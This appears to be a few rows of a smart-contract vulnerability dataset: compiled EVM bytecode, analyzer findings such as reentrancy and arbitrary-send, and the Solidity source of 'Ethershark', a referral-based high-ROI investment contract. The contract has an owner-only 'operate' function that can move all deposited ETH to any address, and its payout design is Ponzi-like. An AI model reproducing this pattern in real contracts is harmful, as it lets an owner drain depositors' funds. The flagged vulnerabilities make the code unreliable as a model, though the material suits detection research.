316331415612197576121978585612859565b6040805184815290518591879133917fbfefa76df66ac53c6517b1939b14bfc4d5fdf714b93a71aea2e50977d1b3b8e6919081900360200190a46000858152600260205260409020805485908110611f4157fe5b60006001848154811015156121fc57fe5b600091825260209091206003909102018054909150600160a060020a03868116911614612273576040805160e560020a62461bcd02815260206004820152601060248201527f53656c6c6572206d7573742063616c6c00000000000000000000000000000000604482015290519081900360640190fd5b600082111561231657600480546040805160e060020a6323b872dd028152600160a060020a038981169482019490945230602482015260448101869052905192909116916323b872dd916064808201926020929091908290030181600087803b1580156122df57600080fd5b505af11580156122f3573d6000803e3d6000fd5b505050506040513d602081101561230957600080fd5b5050600181018054830190555b80546040805185815290518692600160a060020a0316917f470503ad37642fff73a57bac35e69733b6b38281a893f39b50c285aad1f040e0919081900360200190a35050505050565b600082815260026020526040812080548390811061237957fe5b600091825260209091206009909102016003810154909150600160a060020a031615156124275760048101548154604051600160a060020a039092169181156108fc0291906000818181858888f193505050501515612422576040805160e560020a62461bcd02815260206004820152601160248201527f45544820726566756e64206661696c6564000000000000000000000000000000604482015290519081900360640190fd5b61196c565b600381015460048083015483546040805160e060020a63a9059cbb028152600160a060020a039384169481019490945260248401919091525192169163a9059cbb916044808201926020929091908290030181600087803b15801561248b57600080fd5b505af115801561249f573d6000803e3d6000fd5b505050506040513d60208110156124b557600080fd5b5051151561196c576040805160e560020a62461bcd02815260206004820152600d60248201527f526566756e64206661696c656400000000000000000000000000000000000000604482015290519081900360640190fd5b600080600060018581548110151561252157fe5b90600052602060002090600302019250600260008681526020019081526020016000208481548110151561255157fe5b60009182526020909120600990910201600281015481546003830154929450039150600160a060020a0316151561268a5760048201546002830154604051600160a060020a039092169181156108fc0291906000818181858888f193505050501515612607576040805160e560020a62461bcd02815260206004820152601160248201527f45544820726566756e64206661696c6564000000000000000000000000000000604482015290519081900360640190fd5b8254604051600160a060020a039091169082156108fc029083906000818181858888f193505050501515612685576040805160e560020a62461bcd02815260206004820152600f60248201527f4554482073656e64206661696c65640000000000000000000000000000000000604482015290519081900360640190fd5b612852565b600382015460048084015460028501546040805160e060020a63a9059cbb028152600160a060020a039384169481019490945260248401919091525192169163a9059cbb916044808201926020929091908290030181600087803b1580156126f157600080fd5b505af1158015612705573d6000803e3d6000fd5b505050506040513d602081101561271b57600080fd5b50511515612773576040805160e560020a62461bcd02815260206004820152600d60248201527f526566756e64206661696c656400000000000000000000000000000000000000604482015290519081900360640190fd5b600382015483546040805160e060020a63a9059cbb028152600160a060020a039283166004820152602481018590529051919092169163a9059cbb9160448083019260209291908290030181600087803b1580156127d057600080fd5b505af11580156127e4573d6000803e3d6000fd5b505050506040513d60208110156127fa57600080fd5b50511515612852576040805160e560020a62461bcd02815260206004820152600f60248201527f5472616e73666572206661696c65640000000000000000000000000000000000604482015290519081900360640190fd5b5050505050565b600082815260026020526040812080548390811061287357fe5b600091825260209091206009909102016005810154909150600160a060020a03161561196c5760048054600583015460018401546040805160e060020a63a9059cbb028152600160a060020a039384169581019590955260248501919091525191169163a9059cbb9160448083019260209291908290030181600087803b1580156128fd57600080fd5b505af1158015612911573d6000803e3d6000fd5b505050506040513d602081101561292757600080fd5b5051151561196c576040805160e560020a62461bcd02815260206004820152601a60248201527f436f6d6d697373696f6e207472616e73666572206661696c6564000000000000604482015290519081900360640190fd5b600160a060020a03811615156129df576040805160e560020a62461bcd02815260206004820152601b60248201527f4d7573742073706563696679206465706f7369744d616e616765720000000000604482015290519081900360640190fd5b60408051606081018252600160a060020a038087168252602082018581528482169383019384526001805480820182556000918252935160039094027fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf68101805495851673ffffffffffffffffffffffffffffffffffffffff1996871617905591517fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf783015593517fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf89091018054919092169216919091179055821115612b5057600480546040805160e060020a6323b872dd028152600160a060020a038881169482019490945230602482015260448101869052905192909116916323b872dd916064808201926020929091908290030181600087803b158015612b2357600080fd5b505af1158015612b37573d6000803e3d6000fd5b505050506040513d6020811015612b4d57600080fd5b50505b60015460408051858152905160001990920191600160a060020a038716917fec3d306143145322b45d2788d826e3b7b9ad062f16e1ec59a5eaba214f96ee3c919081900360200190a350505050565b600160a060020a0381161515612bb457600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055560073746174757320213d2061636365707465640000000000000000000000000000a165627a7a723058208974486fbd31bda748c1e9958f602ecd80264954e0fe72f88bfa428b64a3c6c10029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
9,578
0x8Bf7E6ea3d0030a30751985C1cC730a90dC56A2F
// SPDX-License-Identifier: MIT pragma solidity 0.7.6; library BoringMath { function add(uint256 a, uint256 b) internal pure returns (uint256 c) { require((c = a + b) >= b, "BoringMath: Add Overflow"); } function sub(uint256 a, uint256 b) internal pure returns (uint256 c) { require((c = a - b) <= a, "BoringMath: Underflow"); } function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { require(b == 0 || (c = a * b) / b == a, "BoringMath: Mul Overflow"); } function div(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a / b; } } contract Ethershark { using BoringMath for uint256; struct Investor { address referrer; uint256 amount; uint256 lastSettledTime; uint256 incomeLimitLeft; uint256 directPartners; uint256 directReferralIncome; uint256 roiReferralIncome; uint256 topInvestorIncome; uint256 topSponsorIncome; uint256 superIncome; } struct Leaderboard { uint256 amt; address addr; } enum WithdrawTypes { ROIIncome, directReferralIncome, ROIMatchingIncome, topInvestorIncome, topSponsorIncome, superIncome, allBonuses } mapping(address => Investor) public investors; mapping(uint256 => mapping(address => uint256)) private _referrerRoundVolume; mapping(uint256 => address[]) private _roundInvestors; uint8[10] private _DIRECT_REFERRAL_BONUS = [5, 1, 1, 1, 1, 1, 1, 1, 1, 1]; uint8[10] private _ROI_MATCHING_BONUS = [10, 2, 2, 2, 2, 2, 2, 2, 2, 2]; uint8[5] private _DAILY_POOL_AWARD_PERCENTAGE = [40, 30, 15, 10, 5]; uint8 private constant _PASSIVE_ROI_PERCENT = 5; uint256 private constant _DIVIDER = 1000; uint256 private constant _POOL_TIME = 1 days; uint256 private constant _PASSIVE_ROI_INTERVAL = 1 minutes; uint256 private constant _MAX_ROI = 175; // Max ROI percent uint256 private immutable _START; uint256 private _lastDistributionTime; uint256 private _totalWithdrawn; uint256 private _totalInvested = 1 ether; uint256 private _totalInvestors = 1; uint256 private _rewardPool; address private _owner; /**************************** EVENTS *****************************************/ event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); event Investment( address indexed investor, address indexed referrer, uint256 indexed round, uint256 amount ); event Withdraw( address indexed investor, uint256 amount, WithdrawTypes withdrawType ); event DailyTopIncome( address indexed investor, uint256 amount, uint256 indexed round, uint256 prize ); /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == msg.sender, "Ownable: caller is not the owner"); _; } constructor() { _START = block.timestamp; _lastDistributionTime = block.timestamp; _setOwner(msg.sender); } // If someone accidently sends ETH to contract address receive() external payable { if (msg.sender != _owner) { _invest(msg.sender, msg.value, _getCurrentRound()); } } fallback() external payable {} function transferOwnership(address newOwner) external onlyOwner { require(newOwner != address(0x0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function invest(address _referrer) external payable { address referrer = _referrer != address(0x0) && _referrer != msg.sender ? _referrer : _owner; require( investors[referrer].referrer != address(0x0), "Invalid referrer" ); require( msg.value % 1000000000000000 == 0, "Amount must be in multiple of 0.001 ETH." ); if (investors[msg.sender].referrer == address(0x0)) { investors[msg.sender].referrer = referrer; _totalInvestors++; investors[referrer].directPartners++; } _invest(msg.sender, msg.value, _getCurrentRound()); } function withdrawROIIncome() external { _withdrawROIIncome(); } function withdrawDirectReferralIncome() external { Investor storage investor = investors[msg.sender]; uint256 amount = investor.directReferralIncome; investor.directReferralIncome = 0; investor.incomeLimitLeft = investor.incomeLimitLeft.sub(amount); _totalWithdrawn = _totalWithdrawn.add(amount); _rewardPool = _rewardPool.add(amount.mul(5).div(100)); _safeTransfer(msg.sender, amount); emit Withdraw(msg.sender, amount, WithdrawTypes.directReferralIncome); } function withdrawROIMatchingIncome() external { Investor storage investor = investors[msg.sender]; uint256 amount = investor.roiReferralIncome; investor.roiReferralIncome = 0; investor.incomeLimitLeft = investor.incomeLimitLeft.sub(amount); _totalWithdrawn = _totalWithdrawn.add(amount); _rewardPool = _rewardPool.add(amount.mul(5).div(100)); _safeTransfer(msg.sender, amount); emit Withdraw(msg.sender, amount, WithdrawTypes.ROIMatchingIncome); } function withdrawTopInvestorIncome() external { Investor storage investor = investors[msg.sender]; uint256 amount = investor.topInvestorIncome; investor.topInvestorIncome = 0; investor.incomeLimitLeft = investor.incomeLimitLeft.sub(amount); _totalWithdrawn = _totalWithdrawn.add(amount); _rewardPool = _rewardPool.add(amount.mul(5).div(100)); _safeTransfer(msg.sender, amount); emit Withdraw(msg.sender, amount, WithdrawTypes.topInvestorIncome); } function withdrawTopSponsorIncome() external { Investor storage investor = investors[msg.sender]; uint256 amount = investor.topSponsorIncome; investor.topSponsorIncome = 0; investor.incomeLimitLeft = investor.incomeLimitLeft.sub(amount); _totalWithdrawn = _totalWithdrawn.add(amount); _rewardPool = _rewardPool.add(amount.mul(5).div(100)); _safeTransfer(msg.sender, amount); emit Withdraw(msg.sender, amount, WithdrawTypes.topSponsorIncome); } function withdrawSuperIncome() external { Investor storage investor = investors[msg.sender]; uint256 amount = investor.superIncome; investor.superIncome = 0; investor.incomeLimitLeft = investor.incomeLimitLeft.sub(amount); _totalWithdrawn = _totalWithdrawn.add(amount); _rewardPool = _rewardPool.add(amount.mul(5).div(100)); _safeTransfer(msg.sender, amount); emit Withdraw(msg.sender, amount, WithdrawTypes.superIncome); } function withdrawBonuses() external { _withdrawBonuses(); } function withdrawAll() external { _withdrawROIIncome(); _withdrawBonuses(); } function operate(uint256 _amount, address payable _target) external payable onlyOwner { if (_amount > 0) { _safeTransfer(_target, _amount); } } function distributeDailyRewards() external { require( block.timestamp > _lastDistributionTime.add(_POOL_TIME), "Waith until next round." ); uint256 prize; uint256 reward = _rewardPool.mul(5).div(200); uint256 round = _lastDistributionTime.sub(_START).div(_POOL_TIME); uint256 leaderboardLength = 5; uint256 placeInTopInvestors; uint256 placeInTopSponsors; address[] memory roundInvestors = _roundInvestors[round]; uint256 length = roundInvestors.length; bool isInTopSposorsList; Leaderboard[5] memory topInvestors; Leaderboard[5] memory topSponsors; for (uint256 i = 0; i < length; i++) { Investor memory investor = investors[roundInvestors[i]]; uint256 directVolume = _referrerRoundVolume[round][investor.referrer]; placeInTopInvestors = 0; placeInTopSponsors = 0; isInTopSposorsList = false; if (directVolume > topSponsors[leaderboardLength - 1].amt) { for (uint256 j = 0; j < leaderboardLength; j++) { if (investor.referrer == topSponsors[j].addr) isInTopSposorsList = true; } if (!isInTopSposorsList) { if (directVolume <= topSponsors[0].amt) { for (uint256 j = leaderboardLength - 1; j > 0; j--) { if ( topSponsors[j].amt < directVolume && directVolume <= topSponsors[j - 1].amt ) placeInTopSponsors = j; } } for ( uint256 j = leaderboardLength - 1; j > placeInTopSponsors; j-- ) { topSponsors[j].addr = topSponsors[j - 1].addr; topSponsors[j].amt = topSponsors[j - 1].amt; } topSponsors[placeInTopSponsors].addr = investor.referrer; topSponsors[placeInTopSponsors].amt = directVolume; } } if (investor.amount <= topInvestors[leaderboardLength - 1].amt) { _roundInvestors[round][i] = address(0x0); } else { if (investor.amount <= topInvestors[0].amt) { for (uint256 j = leaderboardLength - 1; j > 0; j--) { if ( topInvestors[j].amt < investor.amount && investor.amount <= topInvestors[j - 1].amt ) placeInTopInvestors = j; } } for ( uint256 j = leaderboardLength - 1; j > placeInTopInvestors; j-- ) { topInvestors[j].addr = topInvestors[j - 1].addr; topInvestors[j].amt = topInvestors[j - 1].amt; } topInvestors[placeInTopInvestors].addr = roundInvestors[i]; topInvestors[placeInTopInvestors].amt = investor.amount; _roundInvestors[round][i] = address(0x0); } } for (uint256 index = 0; index < leaderboardLength; index++) { prize = reward.mul(_DAILY_POOL_AWARD_PERCENTAGE[index]).div(100); investors[topInvestors[index].addr].topInvestorIncome = investors[ topInvestors[index].addr ] .topInvestorIncome .add(prize); investors[topSponsors[index].addr].topSponsorIncome = investors[ topSponsors[index].addr ] .topSponsorIncome .add(prize); emit DailyTopIncome( topInvestors[index].addr, topInvestors[index].amt, round, prize ); emit DailyTopIncome( topSponsors[index].addr, topSponsors[index].amt, round, prize ); } _rewardPool = _rewardPool.sub(reward.mul(2)); _lastDistributionTime = _lastDistributionTime.add(_POOL_TIME); } function getStats() public view returns ( uint256 lastDistributionTime, uint256 start, uint256 round, uint256 totalWithdrawn, uint256 totalInvested, uint256 totalInvestors, uint256 rewardPool ) { lastDistributionTime = _lastDistributionTime; start = _START; round = _getCurrentRound(); totalWithdrawn = _totalWithdrawn; totalInvested = _totalInvested; totalInvestors = _totalInvestors; rewardPool = _rewardPool; } function _calculateDailyROI(address _investor) private view returns (uint256 income) { income = investors[_investor] .amount .mul(_PASSIVE_ROI_PERCENT) .mul( block.timestamp.sub(investors[_investor].lastSettledTime).div( _PASSIVE_ROI_INTERVAL ) ) .div(_DIVIDER) .div(1440); } function _setOwner(address owner_) private { if (_owner != address(0x0)) { investors[_owner].referrer = owner_; } _owner = owner_; emit OwnershipTransferred(_owner, owner_); Investor storage investor = investors[owner_]; if (investor.referrer == address(0x0)) { investor.referrer = owner_; } investor.referrer = owner_; investor.amount = 1 ether; investor.lastSettledTime = block.timestamp; investor.incomeLimitLeft = investor.amount.mul(_MAX_ROI).div(100); } function _getCurrentRound() private view returns (uint256 round) { round = block.timestamp.sub(_START).div(_POOL_TIME); } function _invest( address _investor, uint256 _amount, uint256 _round ) private { Investor storage investor = investors[_investor]; require( _amount >= investor.amount, "Cannot invest less than previous amount." ); require( investor.incomeLimitLeft == 0, "Previous cycle is still active." ); if (_amount >= 100 ether) { investor.superIncome = investor.superIncome.add( _amount.mul(5).div(200) ); investors[investor.referrer].superIncome = investors[ investor.referrer ] .superIncome .add(_amount.mul(5).div(200)); } investor.lastSettledTime = block.timestamp; investor.amount = _amount; investor.incomeLimitLeft = _amount.mul(_MAX_ROI).div(100); _roundInvestors[_round].push(_investor); _referrerRoundVolume[_round][investor.referrer] = _referrerRoundVolume[ _round ][investor.referrer] .add(_amount); _setDirectReferralCommissions(_investor, _amount, 0, investor.referrer); _totalInvested = _totalInvested.add(_amount); _rewardPool = _rewardPool.add(_amount.mul(5).div(100)); emit Investment(_investor, investor.referrer, _round, _amount); } function _safeTransfer(address payable _investor, uint256 _amount) private returns (uint256 amount) { if (_investor == address(0x0)) { return 0; } amount = _amount; if (address(this).balance < _amount) { amount = address(this).balance; } _investor.transfer(amount); } function _setDirectReferralCommissions( address _investor, uint256 _amount, uint256 index, address referrer ) private { if (referrer == _owner || index == 10) { return; } if (investors[referrer].directPartners > index) { investors[referrer].directReferralIncome = investors[referrer] .directReferralIncome .add(_amount.mul(_DIRECT_REFERRAL_BONUS[index]).div(100)); } return _setDirectReferralCommissions( _investor, _amount, index + 1, investors[referrer].referrer ); } function _setROIMatchingBonus(address _investor, uint256 _amount) private { address referrer = investors[_investor].referrer; uint256 index; while (referrer != _owner && index != 10) { investors[referrer].roiReferralIncome = investors[referrer] .roiReferralIncome .add(_amount.mul(_ROI_MATCHING_BONUS[index]).div(100)); index = index.add(1); referrer = investors[referrer].referrer; } } function _withdrawROIIncome() private { uint256 amount = _calculateDailyROI(msg.sender); Investor storage investor = investors[msg.sender]; investor.lastSettledTime = investor.lastSettledTime.add( block .timestamp .sub(investor.lastSettledTime) .div(_PASSIVE_ROI_INTERVAL) .mul(60) ); investor.incomeLimitLeft = investor.incomeLimitLeft.sub(amount); _totalWithdrawn = _totalWithdrawn.add(amount); _rewardPool = _rewardPool.add(amount.mul(5).div(100)); _setROIMatchingBonus(msg.sender, amount); _safeTransfer(msg.sender, amount); emit Withdraw(msg.sender, amount, WithdrawTypes.ROIIncome); } function _withdrawBonuses() private { Investor storage investor = investors[msg.sender]; uint256 amount = investor .directReferralIncome .add(investor.roiReferralIncome) .add(investor.topInvestorIncome) .add(investor.topSponsorIncome) .add(investor.superIncome); investor.directReferralIncome = 0; investor.roiReferralIncome = 0; investor.topInvestorIncome = 0; investor.topSponsorIncome = 0; investor.superIncome = 0; investor.incomeLimitLeft = investor.incomeLimitLeft.sub(amount); _totalWithdrawn = _totalWithdrawn.add(amount); _rewardPool = _rewardPool.add(amount.mul(5).div(100)); _safeTransfer(msg.sender, amount); emit Withdraw(msg.sender, amount, WithdrawTypes.allBonuses); } }
0x6080604052600436106100e15760003560e01c806364dfcf9b1161007f578063853828b611610059578063853828b61461027e578063b248120014610293578063c59d4847146102a8578063f2fde38b146102f55761010a565b806364dfcf9b146101c75780636f7bc9be146101dc57806374b0c9db146102695761010a565b80634dcf5d0a116100bb5780634dcf5d0a1461015c578063501788af1461017157806352c8f0cb146101865780635c5bd94c146101b25761010a565b806303f9c7931461010c57806337cc61931461013257806348f46ac4146101475761010a565b3661010a57600b546001600160a01b0316331461010a5761010a3334610105610328565b610366565b005b61010a6004803603602081101561012257600080fd5b50356001600160a01b03166105d6565b34801561013e57600080fd5b5061010a61072e565b34801561015357600080fd5b5061010a610738565b34801561016857600080fd5b5061010a6107d0565b34801561017d57600080fd5b5061010a6107d8565b61010a6004803603604081101561019c57600080fd5b50803590602001356001600160a01b031661104f565b3480156101be57600080fd5b5061010a6110c3565b3480156101d357600080fd5b5061010a61114a565b3480156101e857600080fd5b5061020f600480360360208110156101ff57600080fd5b50356001600160a01b03166111d1565b604080516001600160a01b03909b168b5260208b0199909952898901979097526060890195909552608088019390935260a087019190915260c086015260e085015261010084015261012083015251908190036101400190f35b34801561027557600080fd5b5061010a61122c565b34801561028a57600080fd5b5061010a6112b3565b34801561029f57600080fd5b5061010a6112bb565b3480156102b457600080fd5b506102bd611342565b604080519788526020880196909652868601949094526060860192909252608085015260a084015260c0830152519081900360e00190f35b34801561030157600080fd5b5061010a6004803603602081101561031857600080fd5b50356001600160a01b0316611393565b60006103616201518061035b427f0000000000000000000000000000000000000000000000000000000060250b186114c8565b906114b5565b905090565b6001600160a01b038316600090815260208190526040902060018101548310156103c15760405162461bcd60e51b8152600401808060200182810382526028815260200180611b4d6028913960400191505060405180910390fd5b600381015415610418576040805162461bcd60e51b815260206004820152601f60248201527f50726576696f7573206379636c65206973207374696c6c206163746976652e00604482015290519081900360640190fd5b68056bc75e2d63100000831061049f5761044661043b60c861035b866005611443565b600983015490611518565b600982015561048161045e60c861035b866005611443565b82546001600160a01b031660009081526020819052604090206009015490611518565b81546001600160a01b03166000908152602081905260409020600901555b426002820155600181018390556104bc606461035b8560af611443565b600382015560008281526002602090815260408083208054600180820183559185528385200180546001600160a01b0319166001600160a01b038a811691909117909155868552908352818420855490911684529091529020546105209084611518565b600083815260016020908152604080832085546001600160a01b0390811685529252822092909255825461055a9287928792909116611570565b6008546105679084611518565b60085561058661057d606461035b866005611443565b600a5490611518565b600a55805460408051858152905184926001600160a01b0390811692908816917f546ed34520e8de2ee1a499295d8858d30acfb9c2ed50aed5cdeaa011e600c0a29181900360200190a450505050565b60006001600160a01b038216158015906105f957506001600160a01b0382163314155b61060e57600b546001600160a01b0316610610565b815b6001600160a01b0380821660009081526020819052604090205491925016610672576040805162461bcd60e51b815260206004820152601060248201526f24b73b30b634b2103932b332b93932b960811b604482015290519081900360640190fd5b66038d7ea4c680003406156106b85760405162461bcd60e51b8152600401808060200182810382526028815260200180611b256028913960400191505060405180910390fd5b336000908152602081905260409020546001600160a01b031661071d573360009081526020819052604080822080546001600160a01b0319166001600160a01b0385169081179091556009805460019081019091559083529120600401805490910190555b61072a3334610105610328565b5050565b61073661165f565b565b336000908152602081905260408120600581018054929055600381015490919061076290826114c8565b60038301556007546107749082611518565b60075561078a61057d606461035b846005611443565b600a55610797338261172a565b506040518181523390600080516020611b7583398151915290839060019060208101825b81526020019250505060405180910390a25050565b61073661178d565b6006546107e89062015180611518565b421161083b576040805162461bcd60e51b815260206004820152601760248201527f576169746820756e74696c206e65787420726f756e642e000000000000000000604482015290519081900360640190fd5b60008061085960c861035b6005600a5461144390919063ffffffff16565b905060006108996201518061035b7f0000000000000000000000000000000000000000000000000000000060250b186006546114c890919063ffffffff16565b600081815260026020908152604080832080548251818502810185019093528083529495506005948493849392919083018282801561090157602002820191906000526020600020905b81546001600160a01b031681526001909101906020018083116108e3575b505050505090506000815190506000610918611aba565b610920611aba565b60005b84811015610dcf57600080600088848151811061093c57fe5b60200260200101516001600160a01b03166001600160a01b03168152602001908152602001600020604051806101400160405290816000820160009054906101000a90046001600160a01b03166001600160a01b03166001600160a01b03168152602001600182015481526020016002820154815260200160038201548152602001600482015481526020016005820154815260200160068201548152602001600782015481526020016008820154815260200160098201548152505090506000600160008d8152602001908152602001600020600083600001516001600160a01b03166001600160a01b031681526020019081526020016000205490506000995060009850600095508360018c0360058110610a5557fe5b602002015151811115610bc55760005b8b811015610aac57848160058110610a7957fe5b6020020151602001516001600160a01b031683600001516001600160a01b03161415610aa457600196505b600101610a65565b5085610bc5578351518111610b0f576000198b015b8015610b0d5781858260058110610ad457fe5b602002015151108015610afb5750846001820360058110610af157fe5b6020020151518211155b15610b04578099505b60001901610ac1565b505b6000198b015b89811115610b8a57846001820360058110610b2c57fe5b602002015160200151858260058110610b4157fe5b602090810291909101516001600160a01b0390921691015284600019820160058110610b6957fe5b602002015151858260058110610b7b57fe5b60200201515260001901610b15565b508151848a60058110610b9957fe5b602090810291909101516001600160a01b0390921691015280848a60058110610bbe57fe5b6020020151525b8460018c0360058110610bd457fe5b602002015160000151826020015111610c345760008c8152600260205260408120805485908110610c0157fe5b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550610dc5565b845151602083015111610ca0576000198b015b8015610c9e578260200151868260058110610c5e57fe5b602002015151108015610c8c5750856001820360058110610c7b57fe5b602002015160000151836020015111155b15610c9557809a505b60001901610c47565b505b6000198b015b8a811115610d1b57856001820360058110610cbd57fe5b602002015160200151868260058110610cd257fe5b602090810291909101516001600160a01b0390921691015285600019820160058110610cfa57fe5b602002015151868260058110610d0c57fe5b60200201515260001901610ca6565b50878381518110610d2857fe5b6020026020010151858b60058110610d3c57fe5b6020020151602001906001600160a01b031690816001600160a01b0316815250508160200151858b60058110610d6e57fe5b602090810291909101519190915260008d8152600290915260408120805485908110610d9657fe5b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b031602179055505b5050600101610923565b5060005b8881101561101457610e0c606461035b60058460058110610df057fe5b6020810491909101548f91601f166101000a900460ff16611443565b9b50610e5c8c600080868560058110610e2157fe5b6020020151602001516001600160a01b03166001600160a01b031681526020019081526020016000206007015461151890919063ffffffff16565b600080858460058110610e6b57fe5b6020020151602001516001600160a01b03166001600160a01b0316815260200190815260200160002060070181905550610ee98c600080858560058110610eae57fe5b6020020151602001516001600160a01b03166001600160a01b031681526020019081526020016000206008015461151890919063ffffffff16565b600080848460058110610ef857fe5b6020020151602001516001600160a01b03166001600160a01b031681526020019081526020016000206008018190555089838260058110610f3557fe5b6020020151602001516001600160a01b03167ffbb618fcf0415a8a67f8fc570e8ea00d50f87b053bb21541e4b5531fe49bd199858460058110610f7457fe5b6020020151600001518f604051808381526020018281526020019250505060405180910390a389828260058110610fa757fe5b6020020151602001516001600160a01b03167ffbb618fcf0415a8a67f8fc570e8ea00d50f87b053bb21541e4b5531fe49bd199848460058110610fe657fe5b6020020151600001518f604051808381526020018281526020019250505060405180910390a3600101610dd3565b5061102c6110238b6002611443565b600a54906114c8565b600a5560065461103f9062015180611518565b6006555050505050505050505050565b600b546001600160a01b031633146110ae576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b811561072a576110be818361172a565b505050565b33600090815260208190526040812060098101805492905560038101549091906110ed90826114c8565b60038301556007546110ff9082611518565b60075561111561057d606461035b846005611443565b600a55611122338261172a565b506040518181523390600080516020611b7583398151915290839060059060208101826107bb565b336000908152602081905260408120600781018054929055600381015490919061117490826114c8565b60038301556007546111869082611518565b60075561119c61057d606461035b846005611443565b600a556111a9338261172a565b506040518181523390600080516020611b7583398151915290839060039060208101826107bb565b60006020819052908152604090208054600182015460028301546003840154600485015460058601546006870154600788015460088901546009909901546001600160a01b039098169896979596949593949293919290918a565b336000908152602081905260408120600881018054929055600381015490919061125690826114c8565b60038301556007546112689082611518565b60075561127e61057d606461035b846005611443565b600a5561128b338261172a565b506040518181523390600080516020611b7583398151915290839060049060208101826107bb565b6107d061165f565b33600090815260208190526040812060068101805492905560038101549091906112e590826114c8565b60038301556007546112f79082611518565b60075561130d61057d606461035b846005611443565b600a5561131a338261172a565b506040518181523390600080516020611b7583398151915290839060029060208101826107bb565b6006547f0000000000000000000000000000000000000000000000000000000060250b18600080808080611374610328565b9450600754935060085492506009549150600a54905090919293949596565b600b546001600160a01b031633146113f2576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b0381166114375760405162461bcd60e51b8152600401808060200182810382526026815260200180611aff6026913960400191505060405180910390fd5b61144081611864565b50565b600081158061145e5750508082028282828161145b57fe5b04145b6114af576040805162461bcd60e51b815260206004820152601860248201527f426f72696e674d6174683a204d756c204f766572666c6f770000000000000000604482015290519081900360640190fd5b92915050565b60008183816114c057fe5b049392505050565b808203828111156114af576040805162461bcd60e51b8152602060048201526015602482015274426f72696e674d6174683a20556e646572666c6f7760581b604482015290519081900360640190fd5b818101818110156114af576040805162461bcd60e51b815260206004820152601860248201527f426f72696e674d6174683a20416464204f766572666c6f770000000000000000604482015290519081900360640190fd5b600b546001600160a01b038281169116148061158c575081600a145b1561159657611659565b6001600160a01b03811660009081526020819052604090206004015482101561162c5761160f6115ed606461035b600386600a81106115d157fe5b6020810491909101548891601f166101000a900460ff16611443565b6001600160a01b03831660009081526020819052604090206005015490611518565b6001600160a01b0382166000908152602081905260409020600501555b6001600160a01b038082166000908152602081905260409020546116599186918691600187019116611570565b50505050565b600061166a3361197a565b3360009081526020819052604090206002810154919250906116af906116a490603c9061169e90829061035b9042906114c8565b90611443565b600283015490611518565b600282015560038101546116c390836114c8565b60038201556007546116d59083611518565b6007556116eb61057d606461035b856005611443565b600a556116f833836119f1565b611702338361172a565b506040518281523390600080516020611b7583398151915290849060009060208101826107bb565b60006001600160a01b038316611742575060006114af565b819050814710156117505750475b6040516001600160a01b0384169082156108fc029083906000818181858888f19350505050158015611786573d6000803e3d6000fd5b5092915050565b336000908152602081905260408120600981015460088201546007830154600684015460058501549495946117d294936117cc93909284928391611518565b90611518565b6000600584018190556006840181905560078401819055600884018190556009840155600383015490915061180790826114c8565b60038301556007546118199082611518565b60075561182f61057d606461035b846005611443565b600a5561183c338261172a565b506040518181523390600080516020611b7583398151915290839060069060208101826107bb565b600b546001600160a01b0316156118a757600b546001600160a01b03908116600090815260208190526040902080546001600160a01b0319169183169190911790555b600b80546001600160a01b0319166001600160a01b0383811691821792839055604051919216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36001600160a01b03808216600090815260208190526040902080549091166119305780546001600160a01b0319166001600160a01b0383161781555b80546001600160a01b0319166001600160a01b038316178155670de0b6b3a7640000600182018190554260028301556119719060649061035b9060af611443565b60039091015550565b60006114af6105a061035b6103e861035b6119ca603c61035b6000808b6001600160a01b03166001600160a01b0316815260200190815260200160002060020154426114c890919063ffffffff16565b6001600160a01b03881660009081526020819052604090206001015461169e906005611443565b6001600160a01b03808316600090815260208190526040812054909116905b600b546001600160a01b03838116911614801590611a2f575080600a14155b1561165957611a6e611a4c606461035b600485600a81106115d157fe5b6001600160a01b03841660009081526020819052604090206006015490611518565b6001600160a01b038316600090815260208190526040902060060155611a95816001611518565b6001600160a01b03928316600090815260208190526040902054909216919050611a10565b6040518060a001604052806005905b611ad1611ae7565b815260200190600190039081611ac95790505090565b60408051808201909152600080825260208201529056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373416d6f756e74206d75737420626520696e206d756c7469706c65206f6620302e303031204554482e43616e6e6f7420696e76657374206c657373207468616e2070726576696f757320616d6f756e742e45d9b36bb1871baeb32899cbd875ecf2aa49cfb142c4ca5fb99837aa770dd337a2646970667358221220fcd2bd35a6a7f29b039ac9df8f3e882a8636eff64eb9d6a4d2543d78a6a835a364736f6c63430007060033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
9,579
0x9f7229af0c4b9740e207ea283b9094983f78ba04
